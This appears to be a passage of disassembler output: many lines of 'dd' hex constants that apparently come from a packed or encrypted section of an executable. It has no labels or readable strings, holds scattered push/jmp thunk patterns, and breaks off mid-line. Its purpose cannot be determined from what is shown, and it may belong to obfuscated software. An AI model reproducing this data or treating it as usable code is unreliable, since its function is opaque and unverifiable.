dd 68FC644Fh, 49946725h, 8D7E0D68h, 0BD3BA89Eh, 1ACE2202h dd 65913F91h, 4DCDED74h, 0F97B3C4h, 6C233D40h, 0F44D0215h dd 7E936425h, 4BC1644Ch, 0FF023E6Fh, 0D6E530C6h, 6DE520CEh dd 0B4C16454h, 9302360Dh, 0B488019Fh, 7F1B7B9Bh, 4BC16444h dd 0B1C4B466h, 46C54539h, 9FD560EEh, 31CE608Eh, 5AC164BFh dd 0C5966425h, 96C1644Ch, 14023B6Fh, 0A1E518C6h, 0D6E520CEh dd 69C16457h, 18023308h, 84B24C8Fh, 7CC10E16h, 96C167A7h dd 8898444Fh, 818DED16h, 0F685E54Bh, 69C1794Bh, 7790254Fh dd 59AA5452h, 0A7C9096Bh, 99909EFAh, 0CB9BB6F0h, 20CE0C76h dd 0D2C164B4h, 0BC22E529h, 0B4CA8D6Ch, 186D644Fh, 6A21E1F2h dd 484654E6h, 4AB8EF66h, 4D916425h, 0D2C1644Ch, 31023C6Fh dd 0B0E520C6h, 5EE520CEh, 2DC16453h, 8C02340Fh, 407DF34Bh dd 7559BFB5h, 0D2C19BCEh, 0EBCEE44Fh, 0B4C164FCh, 0DBA7B2C4h dd 0EAD31DBDh, 784F73CAh, 4BC1654Ah, 0A94E6B4Fh, 0DDC1644Fh dd 69C162C0h, 0B4496B4Fh, 0B3C1644Fh, 2DC164C2h, 7E976425h dd 4BC1644Ch, 0FB023A6Fh, 0D6E510C6h, 6DE520CEh, 0B4C16452h dd 5D023209h, 273AC59Ah, 9C1C4158h, 0A200D276h, 0A5C16410h dd 87C10E16h, 69C167A7h, 779C444Fh, 7EADED12h, 985E54Bh dd 96C1784Bh, 8894214Fh, 95178C1Ch, 7DB615E5h, 0B04A0271h dd 37A7BCC5h, 553E6F36h, 2DC14ECBh, 0C4C10E4Fh, 4BC167A7h dd 669B444Fh, 0F695ED15h, 4D85E54Bh, 0B4C1704Bh, 9993264Fh dd 3A44A362h, 97C48AC1h, 2DC1644Fh, 0ED7C2DF4h, 0B9D2DDB3h dd 0EC4C32E0h, 0B12FF78Fh, 0CBB9D9C2h, 0D5FA61A1h, 99F1633Bh dd 0A086AD9Eh, 522EE4BAh, 3A906425h, 69C1644Ch, 0ED023D6Fh dd 5EE528C6h, 29E520CEh, 96C1645Bh, 0F402350Eh, 0E8C48FCEh dd 80777595h, 687CD9CCh, 0BBC061A6h, 5AC1CCCBh, 7CC10E4Fh dd 96C167A7h, 8898444Fh, 818DED16h, 0F685E54Bh, 69C17D4Bh dd 7790254Fh, 0BD533396h, 3D284902h, 41C1644Fh, 874CA87Dh dd 41AB9919h, 891F4DB3h, 66736AC0h, 0B4C16FC0h, 5AC78D4Fh dd 950C644Fh, 0C5B43801h, 6324D9CCh, 0AAC161A6h, 0D2C130CAh dd 3AC10E4Fh, 0B4C167A7h, 999A444Fh, 99DED14h, 0B285E54Bh dd 4BC1704Bh, 6692274Fh, 0D14C6BB3h, 0FC1644Fh, 942B7C4h dd 5F287A92h, 4B456B4Fh, 0FCC1644Fh, 4829344Fh, 85C1644Fh dd 5B99A717h, 0E8C5400Bh, 0A3C5400Bh, 1AC1644Fh, 0A2EA71Fh dd 4141D705h, 4AD98DBBh, 0A5AB644Fh, 0D2C28C1Dh, 33E1644Fh dd 0E0483E8Ch, 1E40606Bh, 2DD9606Bh, 0C483644Fh, 278BA28Ch dd 0AB29E120h, 0D0C1644Fh, 0DD73252Eh, 82F71F04h, 5E54CF74h dd 284A6BF7h, 2DC1644Fh, 0B129F5Eh, 187CE715h, 0D3C48D4Eh dd 6948E140h, 0B4AB644Fh, 5AC28C1Ah, 70E1644Fh, 0FA48398Ch dd 0F40606Bh, 0A5DB606Bh, 8784644Fh, 522E0F8Ch, 15B9ABDh dd 3745DC2Fh, 0ACA72100h, 0F79F5CA9h, 870BE529h, 7A766B65h dd 81C10E12h, 69C167A7h, 779A444Fh, 7E9DED14h, 985E54Bh dd 96C17C4Bh, 8892274Fh, 9F1D375Dh, 0F133E51Fh, 0E9987194h dd 3F02E88Dh, 5AA58D98h, 2DAB644Fh, 96C28C18h, 14E1644Fh dd 0D9483B8Ch, 9640606Bh, 69D7606Bh, 0E386644Fh, 0EA69C18Ch dd 7016EF29h, 7E976425h, 4BC1644Ch, 0FB023A6Fh, 0D6E510C6h dd 6DE520CEh, 0B4C1645Ah, 7C023209h, 0FF766B18h, 0C1C10E80h dd 4BC167A7h, 669E444Fh, 0F6BDED10h, 4D85E54Bh, 0B4C1724Bh dd 9996234Fh, 22D1AB41h, 2B4CBDF0h, 4E2FEA39h, 364CE9C2h dd 0CF7961A1h, 5ABA5E13h, 5DD375CAh, 0DD0E4F4Ah, 32E0B9D2h dd 0F78FEC4Ch, 0D9C2B12Fh, 61A1CBB9h, 633BD5FAh, 0AD9E99F1h dd 0E983A086h, 83A4F305h, 0EE8E17BDh, 0D740005h, 4E6D8D8Dh dd 1B805E9h, 0FF000000h, 41B640E1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 19C35545h, 0DDA422A9h, 0BA66B3F3h dd 0F522A92h, 280h, 5AD2B600h, 0F2DE883h, 589h, 0CA816600h dd 0DF8B45F7h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 709718C3h, 66DAB70Fh, 0BD83D88Bh dd 5E9164Dh, 83097500h, 0E91121BDh, 19740005h, 0C08B5350h dd 3FCB8h, 0AD858900h, 8D05E905h, 0EBB92B9Dh, 5BD3FF05h dd 21BD8358h, 5E911h, 53501774h, 3FCB8h, 0AD858900h, 8D05E905h dd 0EBB5CC9Dh, 5BD3FF05h, 81DC8A58h, 4334FCF3h, 88CF803Ch dd 2DEBC08Bh, 0 dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 0C18F2E03h dd 0B01E974h, 0A2680000h, 0E905EE95h, 0FFFAEB37h, 0EE972968h dd 0EB2DE905h, 6468FFFAh, 0E905EE98h, 0FFFAEB23h, 0EE991568h dd 0EB19E905h, 0D768FFFAh, 0E905EE99h, 0FFFAEB0Fh, 0EE9AC568h dd 0EB05E905h, 7668FFFAh, 0E905EE9Bh, 0FFFAEAFBh, 0EE9D3C68h dd 0EAF1E905h, 4568FFFAh, 0E905EE9Eh, 0FFFAEAE7h, 2F4C73B3h dd 0C1DE0D49h, 526F9EDBh, 0E1FE316Ch, 7592BDFBh, 0B497171h dd 9CDDC3E0h, 33725875h, 0CB05EB08h, 0CDAE7B98h, 278F5F1Fh dd 28065F13h, 4A7176Fh, 32A6F056h, 25C83E1Ch, 0B1DF0E4Bh dd 0FC1D4AE7h, 89B7E622h, 23C22BFh, 3E6C97D5h, 0FF51274h dd 5D74A2D5h, 44F29505h, 19DC3285h, 0B689480Dh, 896FEB64h dd 70AA8427h, 0A8D60943h, 795F7CDEh, 8F690C3Fh, 0CF872453h dd 4DF060B8h, 32D5129Fh, 6D9E141Ch, 698B9FD4h, 7B4703FBh dd 20000009h, 0B69CB9E0h, 482E4B7Ah, 0D9BFDC0Bh, 684E6B9Eh dd 0DEE2FF2Ah, 4570AE04h, 0DA014228h, 6D98D7BDh, 0FD306A50h dd 843213E0h, 13278FC2h, 0C29573CCh, 63275588h, 0ACD9F629h dd 0C6893D2h, 0CA03A0CFh, 5313C172h, 5B16C91Ah, 1B7DB0EBh dd 0EF6816B9h, 241C3223h, 2E671FF5h, 0DAAFEF2h, 80C6742Bh dd 0E132020h, 0B9933698h, 0B4F55178h, 0A038F08Dh, 132020A2h dd 4977A2E0h, 0EA184B85h, 4F8EE0D1h, 50CC65AEh, 9B029CD9h dd 8E27BFAh, 0A872A0C7h, 7D642C0Bh, 3E7C4526h, 43000000h dd 0CDFB2E69h, 7B386603h, 0FD3966A1h, 743E6CCEh, 0D6469ED7h dd 299C8533h, 33EA1C32h, 200BC185h, 0F557CD13h, 0B132FC7h dd 0C3641320h, 0C657F9B2h, 0FE494526h, 10000000h, 2ECBFA36h dd 0D64C7B00h, 0D11437EAh, 397359F6h, 0ACCDD806h, 0C948B8FEh dd 33D04616h, 0F5A30F4Dh, 16C948B1h, 3765C73Dh, 0D8063973h dd 86B9F3CDh, 3DEB8E58h, 16C94879h, 8C720F85h, 48021F52h dd 16C945BFh, 729FDAB4h, 76A40635h, 0EF290FACh, 0FE3F19BCh dd 66933AD7h, 0F9394237h, 8623BF75h, 53366A0h, 832696EEh dd 9D406BA9h, 0C963AFEFh, 1CB92F16h, 8E8841EFh, 9CE1C31h dd 0EF614802h, 0E2B8D9Dh, 6A0D7DD5h, 0C689BABCh, 0AB4EC419h dd 0FBBB698Ah, 316CBB9h, 0C6F5318Dh, 4B31CE98h, 0DFC5E20Dh dd 0B24576A1h, 1D6F72C0h, 7F46925h, 59990000h, 0F32F1532h dd 84C1A7C4h, 17523855h, 0A3E1C7E4h, 8B575B78h, 0A9C6F12Fh dd 3E5B82C3h, 0D1EE1958h, 617EB1EBh, 4105B394h, 4D13278Dh dd 0A17B16F4h, 9BD93564h, 0DB784270h, 9D4BB7F5h, 16C91AD9h dd 0F00D6FE5h, 809DD00Ah, 58176F52h, 0BDFA19A8h, 0E596608Eh dd 0B2ED8F81h, 2587517Fh, 717220C3h, 951C3241h, 6959F11Fh dd 99132063h, 3D012F5Ah, 0B7A7D5FCh, 1A811D58h, 0C5895281h dd 0B350E978h, 1794E116h, 45263149h, 0EE67h, 88C22D00h dd 5283B255h, 0D0C1A140h, 0D3B66A5h, 8C44E143h, 0BC5F8AC8h dd 4775A8E2h, 1D28E07Dh, 0A7E10243h, 0BB751274h, 16C94942h dd 0E5214E88h, 8AC488B6h, 0FD5F2957h, 5E987E9Bh, 0B967882Bh dd 16C947F5h, 2EE683F9h, 0AC4FBF17h, 31AA4DFEh, 0F613891Ch dd 52F565BDh, 41EF1031h, 1320647Dh, 9BDB0B81h, 23132064h dd 0E35610ADh, 2719C6FBh, 0F5340EB1h, 0D19BDB89h, 0AD2316CBh dd 0B6531D4Bh, 4F8E6889h, 6087C824h, 749FDDC3h, 14FB2A57h dd 3AA637F9h, 0A3E1C764h, 64C58937h, 53C916CBh, 0E4DBC0F1h dd 0A0986F72h, 6B9E4h, 0F71E5E00h, 89B8F4DAh, 1A49866Ch dd 0A9DC17FDh, 3D68A68Ch, 0ECC61C20h, 806683AEh, 15FB183Fh dd 0A88EABD6h, 511E3B6Eh, 82FCC270h, 0A9021327h, 0AC4C7BCBh dd 8BE581F9h, 0C200E683h, 5A947A97h, 7BDC0A27h, 0A3863A1h dd 83BDA340h, 1A1D610Fh, 2BA116C9h, 9DD79BC9h, 0AF934D6Ah dd 8C16C91Ah, 1AF9BD6Bh, 8F0516C9h, 0F161B9F2h, 0A35744Eh dd 6323D1DCh, 6B16C91Ah, 0C9F693F5h, 32A6C11Bh, 0B053C91Ch dd 4C699CD6h, 0CBF92C66h, 7DA8E6C0h, 0AFE8854Fh, 9644E757h dd 19DC8251h, 0B6F8A65Dh, 3816CE8Ah, 302F60C2h, 1F6F6DD3h dd 6086B27h, 6DAD0000h, 7432946h, 98D5BBD8h, 2B664C69h dd 0B7F5DBF8h, 776B6F8Ch, 0B5D2FD3Bh, 4A678ECFh, 0DDFA2564h dd 6D8ABDF7h, 4D11BFA0h, 51132783h, 88C21AF8h, 29632755h dd 79D8C8F6h, 0EC6EA8FCh, 91DFF34Eh, 7A28CBB1h, 16C91834h dd 3FE244BAh, 48F92865h, 39146839h, 973EDBB1h, 0CF25E8B8h dd 70840h, 0CACE0000h, 17Ch, 1AD4EE0Ah, 0DE716C9h, 6772A0D3h dd 0C91AF5B9h, 2183F916h, 83F34B84h, 0A6E332E0h, 71E71C32h dd 87BAF4CEh, 28633D6Ah, 8DAEC7F5h, 882A1C88h, 5EB88EAh dd 536A98CBh, 0C7E88BFBh, 0E481B0EDh, 0DC93E52Ah, 3879E919h dd 0B719E311h, 6DE19586h, 0C6827A6Fh, 546h, 6784ABEBh dd 0F9164581h, 8AA7D613h, 193669A4h, 0ADCAF533h, 438139A9h dd 0D415FB18h, 6BAA90ADh, 33D2340h, 5E6B3D0h, 27831757h dd 603E9713h, 275588C2h, 0C8F62963h, 6E9CC304h, 4EFC70AAh dd 16C91A08h, 90BE2096h, 0F2ACC918h, 0FB39136Ah, 77FE33D0h dd 0A3C0F32Dh, 0CFD71CC4h, 0EF2E0840h, 2FCC96C4h, 70Eh dd 0B5CAD400h, 0A000000h, 4A7176Fh, 7FD088D5h, 0A9465654h dd 172C5B7Ch, 0A3CA0B85h, 1BC17DF2h, 0D162C47Eh, 32611C32h dd 1B8E493Fh, 4224C128h, 0F499DD8Bh, 0AF251327h, 0AF89AA4Dh dd 4A144275h, 5A8DC7ADh, 0EA1D573Dh, 0DD4DA5BCh, 484D8C3Ah dd 0DF5519DCh, 0F528623Ch, 0DC8AABD8h, 16C9609Ah, 5D0BAE24h dd 16C96019h, 0AC922FA5h, 0FA113F72h, 0E18F32A2h, 1C326650h dd 642F60D6h, 0EB698BECh, 45837F3h, 0BDFD0000h, 57937996h dd 0E8250B28h, 7BB69CB9h, 7452B48h, 27BBBFDCh, 5224D8Bh dd 9AB7DE1Fh, 2D4A75B4h, 0BDDA0D47h, 1D610FF0h, 0A1132780h dd 3CA6A48h, 0A000001h, 4A7176Fh, 9BCE09E3h, 0A6E244FEh dd 0B62C1C32h, 0CCFF3913h, 5C8FC9AFh, 74A3DFB9h, 8E6323D1h dd 0F56B1327h, 0BB95A058h, 7CB5527Dh, 0E211B424h, 549AC68Bh dd 3A670498h, 0DC464D8Ch, 3CDF5519h, 6E296D1Bh, 3FB516C9h dd 619B75A2h, 0F12B112Eh, 3964A37Dh, 4D11410Bh, 5116C96Eh dd 404B79DBh, 61FE2566h, 0BD60D028h, 3268820Fh, 0FD2EA41Ch dd 698BEA20h, 0A77B372Fh, 4C000003h, 0E2C8E50Ch, 745A77A6h dd 5EB0837h, 947A97CAh, 0A0E2B56h, 79A4E2D8h, 0E35765Ch dd 0A1CC0BF1h, 31649E84h, 0B8664714h, 132781F6h, 0C2C19FF8h dd 63275588h, 0E3DBA729h, 4878472h, 258474A2h, 0E71A5450h dd 2725EBCAh, 552F40CFh, 294AE71Ah, 32h, 0A7176FEFh, 5C395604h dd 0F851C32h, 0D755926Ch, 22AD9D3h, 0D041F21Eh, 0B1A61FF6h dd 3BF51274h, 13207506h, 0F20F427Ch, 72A0CF0Ch, 321B6h dd 0A17BF600h, 3D073564h, 507BBAA0h, 0F1245E22h, 639744Eh dd 6695C269h, 0B2B50764h, 0D5BB5898h, 0EBC5689Bh, 8A5482ADh dd 377135EDh, 56AEE704h, 189543E6h, 261C3271h, 567782B0h dd 205EE6A8h, 8428F13h, 440156A9h, 1FD976ECh, 1320D523h dd 0E9C2B354h, 45261C27h, 4739h, 176FFF00h, 0EE2A04A7h dd 2F5D84C5h, 0BD50365h, 4620416Eh, 833DDA09h, 1C32299Eh dd 0AC4472E8h, 13200B96h, 5684ABECh, 0F7255892h, 0C5D99C13h dd 0F6A4C55Eh, 13200BB0h, 0F62BC83Eh, 0C6642C7Fh, 0E07C4526h dd 42000000h, 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h dd 1A0244F2h, 1C8C16C9h, 0BA84B2DDh, 4707B558h, 4716C91Ah dd 0F2CC6FD1h, 33EB88B3h, 0E60D4E28h, 0F6296349h, 97CA04C8h dd 0EAA2C5F4h, 69C92B79h, 926B25CCh, 0D816C951h, 0EEC86B9Eh dd 40E784AFh, 0B4F3205Ah, 2F915B89h, 4477B28Ch, 80D8EFA7h dd 724C6D10h, 9FD20D36h, 49E6A03Dh, 951C3250h, 71C9021Fh dd 633D5E01h, 9E58F528h, 19C6D1B3h, 4DE81F7h, 0BF554CC6h dd 169F76B8h, 73B197B4h, 0CA401748h, 170F6F72h, 1E15Bh dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h dd 87A4EA98h, 0D12A1327h, 0DD4C7BF3h, 95E23099h, 0D917FD9Ah dd 71AB91AEh, 6FF3213Eh, 1CD45817h, 0E513427Eh, 1D4A6A1Bh dd 0C07B3BE9h, 0D8316C9h, 0F8A649ABh, 1C32F3EBh, 0E102A51Bh dd 20D17333h, 68057B13h, 0D12A18B0h, 0AC4D1320h, 1C3EE2C9h dd 0DC324526h, 0F8000000h, 3B0688C2h, 0C461920Ah, 848FBD1Fh dd 103E6DAAh, 85C3A946h, 0C8F62160h, 636E9CFEh, 0FC2B6842h dd 92D404CEh, 1C16C91Eh, 0DF0E4AA6h, 904AE7B1h, 16C91377h dd 294679B3h, 0A8D60943h, 26C93991h, 3212DF78h, 8CA91F1Ch dd 0E88BFB53h, 0B6F8A6C7h, 38132018h, 636B25C2h, 0A019C687h dd 286485C6h, 9F01CBF9h, 7AA2002h, 0AD7638E6h, 27816CBh dd 205E3865h, 0D1ABD8F5h, 0E3C96695h, 20497AA5h, 6F6F72ABh dd 0D8BB77h, 3D7D0000h, 0D713F916h, 68A58BA8h, 0FB361C39h dd 87C5ABC8h, 0A73B3F5Ch, 85A2CD0Bh, 1A375E9Fh, 0ADCAF534h dd 3D5A8DC7h, 9DE18F70h, 21132784h, 84C2EAC8h, 0E795B659h dd 16C91AA7h, 6FA86227h, 65CA3779h, 0D9BF6603h, 44981D9Fh dd 8D54EFEFh, 0C2E00E2Bh, 1C275588h, 3DDA0142h, 0CDEA1D57h dd 29CC3C94h, 32A6D37Bh, 77A51B1Ch, 294679B3h, 33D60943h dd 120CC304h, 0D26F70D1h, 9C81821Ah, 94B7E21Ah, 5689C3E1h dd 0E6195339h, 86B9F4B8h, 2A559458h, 0CDFC38FCh, 3144BB9Fh dd 6426E51Eh, 6CCE7CAEh, 0A8FC79F0h, 69983B6Eh, 33D3F974h dd 0DB451DFh, 8CBAED27h, 1DD0h, 42E21100h, 51E3D380h, 0A1D604A1h dd 21651334h, 0AD16C91Ah, 0D9A8637h, 6FC12DF3h, 82C2A4D2h dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h, 0BBF9BDEBh dd 639E6290h, 13E0230h, 0A4E0A4D2h, 68864775h, 307Bh, 89241489h dd 4C281E2h, 83000000h, 148704EAh, 89575C24h, 4C781E7h dd 83000000h, 3C8704EFh, 2C895C24h, 2A3A6824h, 34890000h dd 0B9515224h, 5EE950Fh, 8959CA89h, 8B545AD5h, 0C4832434h dd 4EC8104h, 89000000h, 0EF89243Ch, 5F087E89h, 5E2434FFh dd 4C481h, 34FF0000h, 0C4815D24h, 4, 0FAE046E9h, 2C31A9FFh dd 0B897A994h, 5EE9F42h, 0E0FFC503h, 3AE60ACCh, 4088598h dd 13902A2Bh, 5DB9842h, 315C2D92h, 7D744BE4h, 9710164h dd 0C7831D4h, 4FA20D38h, 1D025CBDh, 2759A3F3h, 890A193h dd 15CE9h, 77193300h, 6F4DC5F3h, 7D5EB395h, 76503A09h dd 75507850h, 7E5ED309h, 5577BF50h, 7229E39h, 27232B50h dd 937F7DC7h, 40B09F63h, 31128650h, 31131750h, 31129F50h dd 3112CB50h, 3112E750h, 3112F350h, 3112D650h, 3112FC50h dd 31127650h, 31123F50h, 426BCC50h, 317FAA24h, 5E60B770h dd 42619633h, 3112F90Dh, 3112FC50h, 31127E50h, 31123F50h dd 31129F50h, 3112CF50h, 3112E750h, 3112F350h, 3112F950h dd 3112FC50h, 31127E50h, 31123F50h, 31129F50h, 3112CF50h dd 3112E750h, 3112F350h, 3112F950h, 3112FC50h, 31127E50h dd 31123F50h, 31129F50h, 3112CF50h, 3112E750h, 3112F350h dd 3112F950h, 3112FC50h, 31127E50h, 31123F50h, 31129F50h dd 3112CF50h, 3112E750h, 3112F350h, 3112F950h, 3112FC50h dd 31127E50h, 31123F50h, 31129F50h, 3112CF50h, 3112E750h dd 3112F350h, 3112F950h, 3112FC50h, 31127E50h, 31123F50h dd 31129F50h, 3112CF50h, 3112E750h, 3112F350h, 3112F950h dd 3112FC50h, 31127E50h, 31123F50h, 31129F50h, 3112CF50h dd 3112E750h, 3112F350h, 3112F950h, 3112FC50h, 31127E50h dd 31123F50h, 31129F50h, 35CEA350h, 1725E92Eh, 4F680000h dd 0E905EEA3h, 0FFFBA8C5h, 0EEA46D68h, 0A8BBE905h, 8168FFFBh dd 0E905EEA5h, 0FFFBA8B1h, 0EEA67668h, 0A8A7E905h, 0A868FFFBh dd 0E905EEA7h, 0FFFBA89Dh, 0EEA90868h, 0A893E905h, 0D468FFFBh dd 0E905EEA9h, 0FFFBA889h, 0EEAAA268h, 0A87FE905h, 0BA68FFFBh dd 0E905EEACh, 0FFFBA875h, 0EEAD8068h, 0A86BE905h, 6968FFFBh dd 0E905EEAEh, 0FFFBA861h, 0EEAF2968h, 0A857E905h, 5468FFFBh dd 0E905EEB0h, 0FFFBA84Dh, 0EEB60D68h, 0A843E905h, 968FFFBh dd 0E905EEB7h, 0FFFBA839h, 1EEDAE0Eh, 0EFBE75DBh, 0C39249ACh dd 905F1C80h, 6231E84Dh, 9D02E79Dh, 73D417E6h, 3FA6E9B8h dd 1476B988h, 9EFF8453h, 50563BA3h, 493E64D8h, 23E097F9h dd 0BAA15ABCh, 0FE7C8E83h, 0DEBCE0B3h, 70CB028Bh, 52C5F807h dd 68269472h, 0CC63FCF2h, 41A69AFAh, 67C96A8Ah, 0ED0DF3B0h dd 50DA0B06h, 9883E3A8h, 0AE086580h, 0EEABCB7Bh, 574C339Fh dd 0C1F9CD8h, 6513F1AAh, 7895B614h, 0EB22D88Ch, 8C12E48Ah dd 14C3A178h, 4Bh, 0C7EFEA43h, 0F8D8575Dh, 51E258EAh, 0ABF1FE36h dd 0DEB094CDh, 0C7843FA4h, 96621CE1h, 67FF46AAh, 58656047h dd 9E3A846h, 465906C3h, 3E4B29E2h, 0D857A890h, 6987BE3Bh dd 4FB85F3Fh, 0B8F9A785h, 8BAA014Ah, 0C772D8h, 0F9D30000h dd 0BC23E097h, 0A2B59C57h, 0E7CD8A41h, 0FF61C809h, 0EDAA61C7h dd 0C32AE707h, 0CEAD0561h, 2C000123h, 0B26F2A8Bh, 0B2DDACCCh dd 0DDBE28F3h, 26F5B618h, 0DCA81E3h, 0E09215Dh, 0DDBE20A4h dd 826989CFh, 0A8CD9287h, 43A6B9E3h, 3E1C784h, 0D15D2C72h dd 0AA61C3BDh, 252007EDh, 0D8570DBDh, 9980A0E6h, 4355F49Eh dd 50B2C5E6h, 0D3F3B416h, 0C1523016h, 27B063D6h, 9EBE5193h dd 843FA4B7h, 560D72B5h, 0DD8E9563h, 64D497CBh, 1495h dd 0C2914AAAh, 9362197Fh, 5F2EED50h, 2CFBB81Ch, 0FECD84E9h dd 399E4B39h, 0F70B382h, 0D33A7D4Ch, 0A80A4D1Ch, 3A9B20EFh dd 5054973Fh, 0E5DA00D8h, 0EDD94F9h, 0E3B269CBh, 25DEB08Ch dd 918CE53Eh, 0DDBEF729h, 929F58BEh, 8FAF6ACBh, 81FA4B1h dd 248E3A8h, 0E7A4081Bh, 5579C809h, 76D857E6h, 1F83E6F9h dd 0F65F1039h, 452343E1h, 63E8DA97h, 10D88C56h, 0E2h, 5F97F971h dd 9B813EFDh, 0F257BE7Bh, 0BACD7A37h, 0F9DF9C53h, 0FB5F0E1Bh dd 1274DDBEh, 1E197259h, 0DDBEF2B4h, 68BB99DFh, 5461A8DFh dd 0F5B269CDh, 0C26E4A0Fh, 2A8CB18Fh, 14778A71h, 96B66DD4h dd 0D415F3D9h, 0F6AD1427h, 7755339h, 9C977E77h, 0E3A80EFFh dd 447B62A8h, 0FAE3EC6Bh, 0B770D6B5h, 0DA66B997h, 0AC63CAA4h dd 2E909EFh, 43CA0C07h, 0C62C3FE6h, 0AEEA480Dh, 6D2AC062h dd 0D237FE8Fh, 77CF5A17h, 0CC73FD00h, 0C915DAFAh, 0BAD43FD5h dd 0C7DAC1E1h, 95D8A762h, 64867930h, 0B0CBDD11h, 13777DEDh dd 2C8C0000h, 0F75DA06Fh, 0CB2E7140h, 96FA3D0Ch, 66CB0EDDh dd 6D17DCABh, 8D5C177Ch dd 6332E94Ah, 3302B920h, 0FECD8EF0h, 0B51D1879h, 0DED85053h dd 94F9C3B8h, 1C3CF75Ch, 0EFA80A4Dh, 97F9C920h, 1D7623E0h dd 0F7E1C9C4h, 448ADDBEh, 0BEF613BBh, 4F367CDDh, 0BEF66A54h dd 0F1CF15DDh, 0EFEA6ACCh, 0DDBEF6C7h, 0CE85E9B0h, 36BF8EAEh dd 0F6F8E2DDh, 0DCA3DDBEh, 1F05C279h, 99FC21FFh, 5CBE25E2h dd 5CFDB61Ah, 532242F9h, 572741CBh, 0A863C4D7h, 0BEF6B71Fh dd 0A30B06DDh, 0CCDDBEF6h, 13337986h, 468312Ch, 0CB11E3A8h dd 38E0CD00h, 0DAB4D0A0h, 0A474229h, 9B1EDB54h, 0FCB972D4h dd 8C39F616h, 58F05C55h, 937136F5h, 0F8D59A2Dh, 96A1907Bh dd 0C82F0CEh, 0F932714Eh, 8FAF978Eh, 0D83C4FA8h, 11303D1Bh dd 0ACE0F74Ah, 0C12E075h, 8227ECA7h, 40D1AF4Dh, 0F88E3833h dd 365D4F6h, 94A18744h, 34472E4Eh, 74A19D2h, 39F3E6A5h dd 13C94002h, 1263E050h, 18780000h, 0DB418453h, 0AF125524h dd 82E629F8h, 52B7FAC9h, 8103C897h, 79480368h, 4716D536h dd 17E69D04h, 0EAB972D4h, 0A1090465h, 0CAD85052h, 97F9AFA4h dd 7B76FC5Fh, 0DDBEF753h, 0B6D6F63Ch, 0E0F34CF9h, 9139C279h dd 0FADDBEF7h, 1668D6B4h, 8542F95Ch, 3F987F9Fh, 0BEF79A44h dd 0E1BF05DDh, 25727B76h, 0E841E3A8h, 57D9C5EDh, 8A68AED8h dd 0B9CCB3F9h, 9B00A158h, 5F3D23E0h, 2F67C90Ch, 6ED0DCCh dd 0D908B2ADh, 2D73D857h, 205E0E4Fh, 0F5EDE8CFh, 9EE644B9h dd 0FB5E7158h, 82410A97h, 2D4D8E20h, 6FD1E44Fh, 760E9B8h dd 4BD48FF4h, 0D669BE63h, 0C3E8C60Ch, 0B0C3AA61h, 99C78C4Fh dd 0CCEF0FFCh, 0CB7BBC9Ah, 605B42B3h, 0E87A1966h, 0F104EB31h dd 8009D88Fh, 7351086Dh, 6E2BEC4Eh, 482FC0BEh, 6E2A104Dh dd 887BC1F2h, 0D7A73672h, 6E6BDB9Eh, 83000011h, 56996823h dd 256837F0h, 0F13403C2h, 0C407D68Dh, 10D5A45Fh, 59107574h dd 23E6478Ah, 0F3AA1154h, 0C87FE124h, 181374F9h, 0D85051AEh dd 0F9BEB3D9h, 850EDD94h, 75A7ED4Eh, 0BC9AD293h, 0D8BF304Eh dd 0A80CC0DDh, 8E4B91E3h, 3706C527h, 1CD992F4h, 0FAE1126Ch dd 41332EFFh, 0F4B1F7E6h, 0DD16638Fh, 21D83B7Bh, 0A5621980h dd 44D09FBFh, 0D7D2B94Ah, 0E87A4CDAh, 2188458Bh, 964B08BFh dd 433B490Ah, 5F94CBB2h, 0A42DAF63h, 0D4CF3A18h, 0F21366DFh dd 0EA734288h, 0F1EC76D7h, 0CA1A75C9h, 8F4C6CB2h, 75FFE7E2h dd 62A8CA1Ah, 0DD3F6442h, 0E321E579h, 0F8183335h, 3C6EC3Bh dd 1200CA1Bh, 712A8C41h, 3EFD5FA2h, 44BDD181h, 1330265Dh dd 752BF878h, 1C312C97h, 85F40CCEh, 3BE8703Fh, 0B79E5727h dd 238D3ABCh, 541F65FEh, 30EDA409h, 0C24DFDE1h, 54B9CCFEh dd 1CFAE09Dh, 381FD0AEh, 0D12D9D3Dh, 0FEF906C0h, 0F4D5ADD4h dd 3251BA07h, 909D5C90h, 30432A4Ah, 6D5310CBh, 0AF11248Fh dd 84E629F8h, 3A9F06C3h, 7B448C7Fh, 0D598E963h, 103C65h dd 3AF15100h, 9C2286Bh, 0D594F73Ah, 0A45FC306h, 762D92D5h dd 47A2E2A7h, 155827E2h, 0E326F5B4h, 0B3F6C57Ch, 46CB9A51h dd 50C0EAE5h, 85ABD850h, 0DD94F990h, 0B72850Eh, 10B19754h dd 4D33F0ABh, 2FE84A6Fh, 0F2A90B72h, 0B16ACE35h, 0C62A8DF4h dd 0FEB06638h, 0ECBEB24h, 783C7DA9h, 468FCCBAh, 0E85423E4h dd 0D2A39863h, 17510h, 97F97100h, 5ABC23E0h, 7A83BAA1h dd 6D555097h, 16DDBECBh, 58E10BD0h, 0CF5BAE8Ch, 5A847FBFh dd 45DDBE5Dh, 785F3AFFh, 8CD161BBh, 598A856Ch, 2E3A80Eh dd 2B0FFBCh, 0E1D857EEh, 0A007C47Bh, 3FC3803Bh, 774C0051h dd 4308FAB7h, 30D88BD6h, 25h, 25DEB091h, 8BE433Eh, 0A1E7E3A8h dd 0E62995E4h, 0D292D857h, 0B2282381h, 7E91D88Bh, 0D483611Ah dd 0C7h, 0E097F935h, 9C57BC23h, 551678DFh, 18CF3198h, 0FB4F1E49h dd 2284DDBEh, 0A7C784E8h, 0FBF64FD8h, 0DDBEF2D3h, 0AB4AFBCh dd 75DDBEF2h, 0A6E0F2Fh, 0D0AE9451h, 0ECD32C62h, 0AAA89CF1h dd 3474ABE3h, 0A72E9490h, 4E942503h, 0C9DF3067h, 0E9C54C67h dd 288DA00Bh, 15778A71h, 930E9956h, 0EA0D17B9h, 0D72A0828h dd 0D0FAF54Eh, 0BBD855CEh, 0D729775h, 35C36356h, 0A265C5E3h dd 